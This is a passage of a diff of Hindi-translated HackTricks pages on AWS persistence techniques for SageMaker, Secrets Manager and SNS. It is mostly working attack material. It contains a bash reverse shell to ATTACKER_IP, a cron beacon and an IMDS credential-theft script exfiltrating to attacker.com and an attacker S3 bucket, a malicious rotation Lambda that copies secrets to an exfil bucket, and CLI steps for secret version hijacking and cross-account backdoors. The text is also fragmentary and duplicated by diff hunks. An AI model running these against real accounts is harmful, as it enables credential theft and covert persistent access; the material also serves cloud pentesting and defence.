# Create Studio Lifecycle Configuration*
|
||||
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-studio-lcc \
|
||||
--studio-lifecycle-config-app-type JupyterServer \
|
||||
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||
|
||||
|
||||
# Apply LCC to entire Studio Domain*
|
||||
|
||||
aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
|
||||
"JupyterServerAppSettings": {
|
||||
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Studio Space स्तर (Individual or Shared Spaces)
|
||||
```bash
|
||||
# Update SageMaker Studio Space to attach LCC*
|
||||
|
||||
aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
|
||||
"JupyterServerAppSettings": {
|
||||
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
## Studio एप्लिकेशन लाइफसाइकल कॉन्फ़िगरेशन के प्रकार
|
||||
|
||||
लाइफसाइकल कॉन्फ़िगरेशन को विशेष रूप से विभिन्न SageMaker Studio एप्लिकेशन प्रकारों पर लागू किया जा सकता है:
|
||||
* JupyterServer: Jupyter server startup के दौरान स्क्रिप्ट्स चलाता है, जो persistence mechanisms जैसे reverse shells और cron jobs के लिए आदर्श है।
|
||||
* KernelGateway: KernelGateway ऐप लॉन्च के दौरान निष्पादित होता है, प्रारंभिक सेटअप या स्थायी पहुँच के लिए उपयोगी है।
|
||||
* CodeEditor: Code Editor (Code-OSS) पर लागू होता है, यह उन स्क्रिप्ट्स को सक्षम बनाता है जो code editing sessions की शुरुआत पर चलती हैं।
|
||||
|
||||
### प्रत्येक प्रकार के लिए उदाहरण कमांड:
|
||||
|
||||
### JupyterServer
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-jupyter-lcc \
|
||||
--studio-lifecycle-config-app-type JupyterServer \
|
||||
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||
```
|
||||
### KernelGateway
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
|
||||
--studio-lifecycle-config-app-type KernelGateway \
|
||||
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
|
||||
```
|
||||
### CodeEditor
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-codeeditor-lcc \
|
||||
--studio-lifecycle-config-app-type CodeEditor \
|
||||
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
|
||||
```
|
||||
### महत्वपूर्ण जानकारी:
|
||||
* डोमेन या स्पेस स्तर पर LCCs संलग्न करने से स्कोप के भीतर सभी उपयोगकर्ता या एप्लिकेशन प्रभावित होते हैं।
|
||||
* इसके लिए उच्च अनुमतियाँ (sagemaker:UpdateDomain, sagemaker:UpdateSpace) आवश्यक होती हैं; आमतौर पर स्पेस स्तर पर यह डोमेन की तुलना में अधिक व्यवहार्य होता है।
|
||||
* नेटवर्क-स्तरीय नियंत्रण (उदा., strict egress filtering) सफल reverse shells या data exfiltration को रोक सकते हैं।
|
||||
|
||||
## Lifecycle Configuration के माध्यम से Reverse Shell
|
||||
|
||||
SageMaker Lifecycle Configurations (LCCs) तब कस्टम स्क्रिप्ट चलाती हैं जब notebook instances शुरू होते हैं। किसी अटैकर के पास उपयुक्त अनुमतियाँ होने पर वह एक स्थायी reverse shell स्थापित कर सकता है।
|
||||
|
||||
### Payload Example:
|
||||
```
|
||||
#!/bin/bash
|
||||
ATTACKER_IP="<ATTACKER_IP>"
|
||||
ATTACKER_PORT="<ATTACKER_PORT>"
|
||||
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
|
||||
```
|
||||
## Cron Job Persistence के माध्यम से Lifecycle Configuration
|
||||
|
||||
एक हमलावर LCC scripts के माध्यम से cron jobs इंजेक्ट कर सकता है, जिससे malicious scripts या commands का नियतकालिक निष्पादन सुनिश्चित होता है और stealthy persistence संभव हो जाता है।
|
||||
|
||||
### Payload उदाहरण:
|
||||
```
|
||||
#!/bin/bash
|
||||
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
|
||||
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
|
||||
CRON_JOB="*/30 * * * * $CRON_CMD"
|
||||
|
||||
mkdir -p /home/ec2-user/SageMaker/.local_tasks
|
||||
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
|
||||
chmod +x $PAYLOAD_PATH
|
||||
|
||||
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
|
||||
```
|
||||
## Credential Exfiltration के माध्यम से IMDS (v1 & v2)
|
||||
|
||||
Lifecycle configurations Instance Metadata Service (IMDS) को क्वेरी करके IAM credentials प्राप्त कर सकते हैं और उन्हें हमलावर द्वारा नियंत्रित स्थान पर exfiltrate कर सकते हैं।
|
||||
|
||||
### Payload उदाहरण:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
|
||||
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
|
||||
|
||||
# Exfiltrate via S3*
|
||||
|
||||
aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
|
||||
|
||||
# Alternatively, exfiltrate via HTTP POST*
|
||||
|
||||
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
|
||||
```
|
||||
## Persistence via Model Registry resource policy (PutModelPackageGroupPolicy)
|
||||
|
||||
एक SageMaker Model Package Group पर resource-based policy का दुरुपयोग करके किसी external principal को cross-account अधिकार दिए जा सकते हैं (उदा., CreateModelPackage/Describe/List)। यह एक टिकाऊ backdoor बनाता है जो attacker के IAM user/role को victim account से हटा दिया जाने पर भी poisoned model versions push करने या model metadata/artifacts पढ़ने की अनुमति देता है।
|
||||
|
||||
आवश्यक अनुमतियाँ
|
||||
- sagemaker:CreateModelPackageGroup
|
||||
- sagemaker:PutModelPackageGroupPolicy
|
||||
- sagemaker:GetModelPackageGroupPolicy
|
||||
|
||||
कदम (us-east-1)
|
||||
```bash
|
||||
# 1) Create a Model Package Group
|
||||
REGION=${REGION:-us-east-1}
|
||||
MPG=atk-mpg-$(date +%s)
|
||||
aws sagemaker create-model-package-group \
|
||||
--region "$REGION" \
|
||||
--model-package-group-name "$MPG" \
|
||||
--model-package-group-description "Test backdoor"
|
||||
|
||||
# 2) Craft a cross-account resource policy (replace 111122223333 with attacker account)
|
||||
cat > /tmp/mpg-policy.json <<JSON
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AllowCrossAccountCreateDescribeList",
|
||||
"Effect": "Allow",
|
||||
"Principal": {"AWS": ["arn:aws:iam::111122223333:root"]},
|
||||
"Action": [
|
||||
"sagemaker:CreateModelPackage",
|
||||
"sagemaker:DescribeModelPackage",
|
||||
"sagemaker:DescribeModelPackageGroup",
|
||||
"sagemaker:ListModelPackages"
|
||||
],
|
||||
"Resource": [
|
||||
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package-group/${MPG}",
|
||||
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package/${MPG}/*"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
|
||||
# 3) Attach the policy to the group
|
||||
aws sagemaker put-model-package-group-policy \
|
||||
--region "$REGION" \
|
||||
--model-package-group-name "$MPG" \
|
||||
--resource-policy "$(jq -c . /tmp/mpg-policy.json)"
|
||||
|
||||
# 4) Retrieve the policy (evidence)
|
||||
aws sagemaker get-model-package-group-policy \
|
||||
--region "$REGION" \
|
||||
--model-package-group-name "$MPG" \
|
||||
--query ResourcePolicy --output text
|
||||
```
|
||||
Notes
|
||||
- एक वास्तविक cross-account backdoor के लिए, Resource को specific group ARN तक सीमित करें और Principal में attacker’s AWS account ID का उपयोग करें।
|
||||
- end-to-end cross-account deployment या artifact reads के लिए, S3/ECR/KMS grants को attacker account के साथ align करें।
|
||||
|
||||
Impact
|
||||
- Model Registry group का persistent cross-account नियंत्रण: attacker malicious model versions publish कर सकता है या model metadata को enumerate/read कर सकता है, भले ही उनकी IAM entities victim account से हटाई जा चुकी हों।
|
||||
|
||||
## Canvas cross-account model registry backdoor (UpdateUserProfile.ModelRegisterSettings)
|
||||
|
||||
SageMaker Canvas user settings का दुरुपयोग करके model registry writes को चुपचाप attacker-controlled account पर redirect करें, ModelRegisterSettings को enable करके और CrossAccountModelRegisterRoleArn को किसी अन्य account के attacker role की ओर point करके।
|
||||
|
||||
Required permissions
|
||||
- sagemaker:UpdateUserProfile target UserProfile पर
|
||||
- ऐच्छिक: sagemaker:CreateUserProfile उस Domain पर जिसे आप नियंत्रित करते हैं
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,51 +0,0 @@
|
||||
# AWS - Secrets Manager Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### संसाधन नीतियों के माध्यम से
|
||||
|
||||
यह **बाहरी खातों को रहस्यों तक पहुँच प्रदान करना** संभव है संसाधन नीतियों के माध्यम से। अधिक जानकारी के लिए [**Secrets Manager Privesc पृष्ठ**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) देखें। ध्यान दें कि **एक रहस्य तक पहुँचने के लिए**, बाहरी खाते को **रहस्य को एन्क्रिप्ट करने वाले KMS कुंजी तक भी पहुँच की आवश्यकता होगी**।
|
||||
|
||||
### Secrets Rotate Lambda के माध्यम से
|
||||
|
||||
स्वचालित रूप से **रहस्यों को घुमाने** के लिए एक कॉन्फ़िगर किया गया **Lambda** कॉल किया जाता है। यदि एक हमलावर **कोड** को **बदल** सकता है, तो वह सीधे **नए रहस्य को** अपने लिए **बाहर निकाल** सकता है।
|
||||
|
||||
यहाँ इस प्रकार की कार्रवाई के लिए लैम्ब्डा कोड ऐसा दिख सकता है:
|
||||
```python
|
||||
import boto3
|
||||
|
||||
def rotate_secrets(event, context):
|
||||
# Create a Secrets Manager client
|
||||
client = boto3.client('secretsmanager')
|
||||
|
||||
# Retrieve the current secret value
|
||||
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
|
||||
|
||||
# Rotate the secret by updating its value
|
||||
new_secret_value = rotate_secret(secret_value)
|
||||
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
|
||||
|
||||
def rotate_secret(secret_value):
|
||||
# Perform the rotation logic here, e.g., generate a new password
|
||||
|
||||
# Example: Generate a new password
|
||||
new_secret_value = generate_password()
|
||||
|
||||
return new_secret_value
|
||||
|
||||
def generate_password():
|
||||
# Example: Generate a random password using the secrets module
|
||||
import secrets
|
||||
import string
|
||||
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
|
||||
return password
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,230 @@
|
||||
# AWS - Secrets Manager Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Resource Policies के माध्यम से
|
||||
|
||||
Resource policies के माध्यम से बाहरी खातों को **secrets तक access प्रदान करना** संभव है। अधिक जानकारी के लिए [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) देखें। ध्यान दें कि किसी **secret तक access करने के लिए**, बाहरी खाते को उस secret को encrypt करने वाली **KMS key** तक भी **access की आवश्यकता** होगी।
|
||||
|
||||
### Secrets Rotate Lambda के माध्यम से
|
||||
|
||||
Secrets को स्वचालित रूप से **rotate** करने के लिए एक configured **Lambda** को कॉल किया जाता है। यदि attacker **change** कर सके तो वह सीधे नया **secret** स्वयं को **exfiltrate** कर सकता है।
|
||||
|
||||
This is how lambda code for such action could look like:
|
||||
```python
|
||||
import boto3
|
||||
|
||||
def rotate_secrets(event, context):
|
||||
# Create a Secrets Manager client
|
||||
client = boto3.client('secretsmanager')
|
||||
|
||||
# Retrieve the current secret value
|
||||
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
|
||||
|
||||
# Rotate the secret by updating its value
|
||||
new_secret_value = rotate_secret(secret_value)
|
||||
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
|
||||
|
||||
def rotate_secret(secret_value):
|
||||
# Perform the rotation logic here, e.g., generate a new password
|
||||
|
||||
# Example: Generate a new password
|
||||
new_secret_value = generate_password()
|
||||
|
||||
return new_secret_value
|
||||
|
||||
def generate_password():
|
||||
# Example: Generate a random password using the secrets module
|
||||
import secrets
|
||||
import string
|
||||
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
|
||||
return password
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
### RotateSecret के माध्यम से rotation Lambda को attacker-controlled function में बदलें
|
||||
|
||||
`secretsmanager:RotateSecret` का दुरुपयोग करके किसी secret को attacker-controlled rotation Lambda से rebind करें और तुरंत rotation ट्रिगर करें। मैलिशियस function rotation के चरणों (createSecret/setSecret/testSecret/finishSecret) के दौरान secret संस्करण (AWSCURRENT/AWSPENDING) को attacker sink (उदा., S3 या external HTTP) पर exfiltrate कर देता है।
|
||||
|
||||
- आवश्यकताएँ
|
||||
- Permissions: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` on the attacker Lambda, `iam:CreateRole/PassRole/PutRolePolicy` (or AttachRolePolicy) to provision the Lambda execution role with `secretsmanager:GetSecretValue` and preferably `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (so rotation keeps working), KMS `kms:Decrypt` for the secret KMS key, and `s3:PutObject` (or outbound egress) for exfiltration.
|
||||
- A target secret id (`SecretId`) with rotation enabled or the ability to enable rotation.
|
||||
|
||||
- प्रभाव
|
||||
- Attacker legit rotation code को बदले बिना secret value(s) प्राप्त कर लेता है। केवल rotation configuration को attacker Lambda की तरफ पॉइंट किया जाता है। अगर ध्यान न दिया जाए तो scheduled future rotations भी attacker के function को invoke करना जारी रखेंगे।
|
||||
|
||||
- Attack steps (CLI)
|
||||
1) Prepare attacker sink and Lambda role
|
||||
- Exfiltration के लिए S3 bucket बनाएं और Lambda द्वारा trusted execution role बनाएं जिसमें secret पढ़ने और S3 में लिखने की permissions हों (साथ ही logs/KMS जैसी ज़रूरतें)।
|
||||
2) Deploy attacker Lambda जो हर rotation step पर secret value(s) fetch करके S3 में लिखे। न्यूनतम rotation logic बस AWSCURRENT को AWSPENDING में copy कर सकता है और finishSecret में उसे promote कर सकता है ताकि service स्वस्थ रहे।
|
||||
3) Rebind rotation and trigger
|
||||
- `aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately`
|
||||
4) उस secret के लिए S3 prefix list करके और JSON artifacts inspect करके exfiltration verify करें।
|
||||
5) (Optional) detection कम करने के लिए original rotation Lambda को restore करें।
|
||||
|
||||
- Example attacker Lambda (Python) exfiltrating to S3
|
||||
- Environment: `EXFIL_BUCKET=<bucket>`
|
||||
- Handler: `lambda_function.lambda_handler`
|
||||
```python
|
||||
import boto3, json, os, base64, datetime
|
||||
s3 = boto3.client('s3')
|
||||
sm = boto3.client('secretsmanager')
|
||||
BUCKET = os.environ['EXFIL_BUCKET']
|
||||
|
||||
def write_s3(key, data):
|
||||
s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json')
|
||||
|
||||
def lambda_handler(event, context):
|
||||
sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step']
|
||||
# Exfil both stages best-effort
|
||||
def getv(**kw):
|
||||
try:
|
||||
r = sm.get_secret_value(**kw)
|
||||
return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')}
|
||||
except Exception as e:
|
||||
return {'error': str(e)}
|
||||
current = getv(SecretId=sid, VersionStage='AWSCURRENT')
|
||||
pending = getv(SecretId=sid, VersionStage='AWSPENDING')
|
||||
key = f"{sid.replace(':','_')}/{step}/{token}.json"
|
||||
write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending})
|
||||
# Minimal rotation (optional): copy current->pending and promote in finishSecret
|
||||
# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)
|
||||
```
|
||||
### Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)
|
||||
|
||||
Secrets Manager के version staging labels का दुरुपयोग करके एक attacker-controlled secret version स्थापित करें और उसे एक custom stage (उदाहरण के लिए, `ATTACKER`) के तहत छुपा रखें, जबकि production मूल `AWSCURRENT` का उपयोग जारी रखे। किसी भी समय `AWSCURRENT` को attacker के version पर मूव करके dependent workloads को poison करें, फिर detection कम करने के लिए इसे restore करें। इससे secret name या rotation config बदले बिना stealthy backdoor persistence और rapid time-of-use manipulation संभव होता है।
|
||||
|
||||
- आवश्यकताएँ
|
||||
- Permissions: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (for verification)
|
||||
- Target secret id in the Region.
|
||||
|
||||
- प्रभाव
|
||||
- एक छिपा हुआ, attacker-controlled version बनाए रखें और मांग पर `AWSCURRENT` को उस पर एटोमिक रूप से flip करें, जिससे कोई भी consumer जो समान secret name resolve करता है प्रभावित होगा। फ्लिप और त्वरित revert पता लगाने की संभावना कम करते हैं जबकि time-of-use compromise सक्षम होता है।
|
||||
|
||||
- Attack steps (CLI)
|
||||
- तैयारी
|
||||
- `export SECRET_ID=<target secret id or arn>`
|
||||
|
||||
<details>
|
||||
<summary>CLI commands</summary>
|
||||
```bash
|
||||
# 1) Capture current production version id (the one holding AWSCURRENT)
|
||||
CUR=$(aws secretsmanager list-secret-version-ids \
|
||||
--secret-id "$SECRET_ID" \
|
||||
--query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \
|
||||
--output text)
|
||||
|
||||
# 2) Create attacker version with known value (this will temporarily move AWSCURRENT)
|
||||
BACKTOK=$(uuidgen)
|
||||
aws secretsmanager put-secret-value \
|
||||
--secret-id "$SECRET_ID" \
|
||||
--client-request-token "$BACKTOK" \
|
||||
--secret-string {backdoor:hunter2!}
|
||||
|
||||
# 3) Restore production and hide attacker version under custom stage
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id "$SECRET_ID" \
|
||||
--version-stage AWSCURRENT \
|
||||
--move-to-version-id "$CUR" \
|
||||
--remove-from-version-id "$BACKTOK"
|
||||
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id "$SECRET_ID" \
|
||||
--version-stage ATTACKER \
|
||||
--move-to-version-id "$BACKTOK"
|
||||
|
||||
# Verify stages
|
||||
aws secretsmanager list-secret-version-ids --secret-id "$SECRET_ID" --include-deprecated
|
||||
|
||||
# 4) On-demand flip to the attacker’s value and revert quickly
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id "$SECRET_ID" \
|
||||
--version-stage AWSCURRENT \
|
||||
--move-to-version-id "$BACKTOK" \
|
||||
--remove-from-version-id "$CUR"
|
||||
|
||||
# Validate served plaintext now equals the attacker payload
|
||||
aws secretsmanager get-secret-value --secret-id "$SECRET_ID" --query SecretString --output text
|
||||
|
||||
# Revert to reduce detection
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id "$SECRET_ID" \
|
||||
--version-stage AWSCURRENT \
|
||||
--move-to-version-id "$CUR" \
|
||||
--remove-from-version-id "$BACKTOK"
|
||||
```
|
||||
</details>
|
||||
|
||||
- नोट्स
|
||||
- जब आप `--client-request-token` प्रदान करते हैं, तो Secrets Manager इसे `VersionId` के रूप में उपयोग करता है। स्पष्ट रूप से `--version-stages` सेट किए बिना एक नया संस्करण जोड़ने से डिफ़ॉल्ट रूप से `AWSCURRENT` नए संस्करण पर चला जाता है, और पिछले संस्करण को `AWSPREVIOUS` के रूप में चिह्नित कर देता है।
|
||||
|
||||
|
||||
### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)
|
||||
|
||||
Secrets Manager की multi-Region replication का दुरुपयोग करके target secret की एक replica कम-निगरानी वाले Region में बनाएं, उस Region में attacker-controlled KMS key से उसे encrypt करें, फिर उस replica को standalone secret में promote करें और उस पर permissive resource policy attach कर दें जो attacker को read access दे। प्राथमिक Region में मूल secret अपरिवर्तित रहता है, जिससे promoted replica के माध्यम से secret value तक स्थायी और stealthy पहुंच मिल जाती है जबकि primary पर लगे KMS/policy सीमाओं को बायपास किया जा सकता है।
|
||||
|
||||
- आवश्यकताएँ
|
||||
- Permissions: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
|
||||
- replica Region में: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (या `kms:PutKeyPolicy`) ताकि attacker principal को `kms:Decrypt` की अनुमति दी जा सके।
|
||||
- एक attacker principal (user/role) जिसे promoted secret का read access दिया जा सके।
|
||||
|
||||
- प्रभाव
|
||||
- attacker-controlled KMS CMK और permissive resource policy के तहत standalone replica के माध्यम से secret value तक स्थायी cross-Region पहुँच। मूल Region में primary secret अप्रभावित रहता है।
|
||||
|
||||
- Attack (CLI)
|
||||
- Vars
|
||||
```bash
|
||||
export R1=<primary-region> # e.g., us-east-1
|
||||
export R2=<replica-region> # e.g., us-west-2
|
||||
export SECRET_ID=<secret name or ARN in R1>
|
||||
export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
|
||||
```
|
||||
1) रिप्लिका Region में हमलावर-नियंत्रित KMS key बनाएँ
|
||||
```bash
|
||||
cat > /tmp/kms_policy.json <<'JSON'
|
||||
{"Version":"2012-10-17","Statement":[
|
||||
{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"}
|
||||
]}
|
||||
JSON
|
||||
KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \
|
||||
--query KeyMetadata.KeyId --output text)
|
||||
aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID"
|
||||
# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
|
||||
aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
|
||||
```
|
||||
2) attacker KMS key का उपयोग करके secret को R2 में replicate करें
|
||||
```bash
|
||||
aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
|
||||
--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
|
||||
aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
|
||||
```
|
||||
3) R2 में रिप्लिका को standalone के रूप में प्रमोट करें
|
||||
```bash
|
||||
# Use the secret name (same across Regions)
|
||||
NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
|
||||
aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
|
||||
aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
|
||||
```
|
||||
4) R2 में standalone secret पर permissive resource policy लागू करें
|
||||
```bash
|
||||
cat > /tmp/replica_policy.json <<JSON
|
||||
{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
|
||||
JSON
|
||||
aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
|
||||
aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
|
||||
```
|
||||
5) R2 में attacker principal से secret पढ़ें
|
||||
```bash
|
||||
# Configure attacker credentials and read
|
||||
aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
|
||||
```
|
||||
|
||||
@@ -1,77 +0,0 @@
|
||||
# AWS - SNS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SNS
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence
|
||||
|
||||
जब आप एक **SNS टॉपिक** बनाते हैं, तो आपको IAM नीति के साथ यह बताना होगा कि **किसे पढ़ने और लिखने का अधिकार है**। बाहरी खातों, भूमिकाओं के ARN, या **यहाँ तक कि "\*"** को निर्दिष्ट करना संभव है।\
|
||||
निम्नलिखित नीति AWS में सभी को **`MySNS.fifo`** नामक SNS टॉपिक में पढ़ने और लिखने की अनुमति देती है:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__default_statement_ID",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": [
|
||||
"SNS:Publish",
|
||||
"SNS:RemovePermission",
|
||||
"SNS:SetTopicAttributes",
|
||||
"SNS:DeleteTopic",
|
||||
"SNS:ListSubscriptionsByTopic",
|
||||
"SNS:GetTopicAttributes",
|
||||
"SNS:AddPermission",
|
||||
"SNS:Subscribe"
|
||||
],
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"AWS:SourceOwner": "318142138553"
|
||||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
"Sid": "__console_pub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Publish",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
},
|
||||
{
|
||||
"Sid": "__console_sub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Subscribe",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Subscribers बनाएं
|
||||
|
||||
सभी विषयों से सभी संदेशों को निकालने के लिए हमलावर **सभी विषयों के लिए सब्सक्राइबर बना सकता है**।
|
||||
|
||||
ध्यान दें कि यदि **विषय FIFO प्रकार का है**, तो केवल **SQS** प्रोटोकॉल का उपयोग करने वाले सब्सक्राइबर का उपयोग किया जा सकता है।
|
||||
```bash
|
||||
aws sns subscribe --region <region> \
|
||||
--protocol http \
|
||||
--notification-endpoint http://<attacker>/ \
|
||||
--topic-arn <arn>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,113 @@
|
||||
# AWS - SNS स्थायी पहुँच
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SNS
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### स्थायी पहुँच
|
||||
|
||||
एक **SNS topic** बनाते समय आपको IAM policy में यह स्पष्ट करना होता है कि **किसे पढ़ने और लिखने की पहुँच है**। आप बाहरी accounts, roles के ARN, या **यहाँ तक कि "\*"** भी निर्दिष्ट कर सकते हैं।\
|
||||
निम्नलिखित policy AWS में हर किसी को **`MySNS.fifo`** नामक SNS topic पर पढ़ने और लिखने की पहुँच देती है:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__default_statement_ID",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": [
|
||||
"SNS:Publish",
|
||||
"SNS:RemovePermission",
|
||||
"SNS:SetTopicAttributes",
|
